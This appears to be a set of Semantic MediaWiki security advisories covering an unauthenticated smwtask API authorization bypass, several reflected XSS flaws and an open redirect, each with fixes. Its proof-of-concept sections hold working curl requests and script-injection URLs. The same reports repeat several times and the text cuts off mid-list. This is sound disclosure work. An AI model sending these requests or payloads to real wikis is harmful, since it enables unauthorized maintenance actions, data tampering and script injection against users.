mediawiki/semantic-media-wiki

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Reflected XSS via a forged cursor pagination token

Failure mode

Special:Ask accepts a cursor query parameter for keyset pagination (added in 7.0.0). The token is decoded by CursorEncoder, which is an unsigned base64url-encoded JSON blob, so its contents are fully attacker-controlled. When the cursor's sort anchor does not match the request's sort= / order=, QueryCreator::applyCursorIfRequested() builds an error message by interpolating the attacker-controlled sort_prop / sort_order values into a raw string via Query::addErrors().

Unlike SMW's message-key errors, this raw string bypasses the message layer's sanitisation (ProcessingErrorMsgHandler::normalizeAndDecodeMessages() passes a non-key, non-encoded string through unchanged). ErrorWidget::queryError() then assembles the errors and passes them to Html::errorBox(), whose first argument is emitted as raw HTML. The result is a reflected cross-site scripting vulnerability: a crafted cursor token containing markup in sort_prop (or sort_order) executes script in the victim's browser on the wiki origin.

No authentication or special permission is required. The payload is delivered via a crafted link, e.g. Special:Ask?q=...&p[cursor]=<forged token> where the token decodes to {"v":1,"sort_prop":"<script>...</script>"}. Confirmed executing in a browser; the responses carry no Content-Security-Policy, so inline script is not blocked.

Remediation

• Output-encode the attacker-controlled sort_prop / sort_order values before they are interpolated into the error text in QueryCreator, so no raw user input enters the error stream.
• Defense in depth: the format=debug output path that reflected the same error text was hardened separately in GHSA-q5fm-9mx6-44f4.

Maintenance note

Query error strings are rendered as raw HTML by ErrorWidget::queryError() via Html::errorBox(). Any error added through Query::addErrors() that embeds user-controlled text must be output-encoded (or use a message key); pagination and validation error text is attacker-influenced and must not be treated as trusted.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.

Failure mode

When headers=plain, table header text was emitted into <th> via a raw HTML path. User-controlled mainlabel content could therefore become executable HTML.

Remediation

• TableResultPrinter now applies output-context escaping before passing plain headers to the table renderer.
• The fix is limited to the HTML/plain-header branch so safe rendering modes are unaffected.

Why this is the right layer

The header value is not a structural token; it is display data. Sanitizing it at the sink is correct because the renderer owns the final HTML emission.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
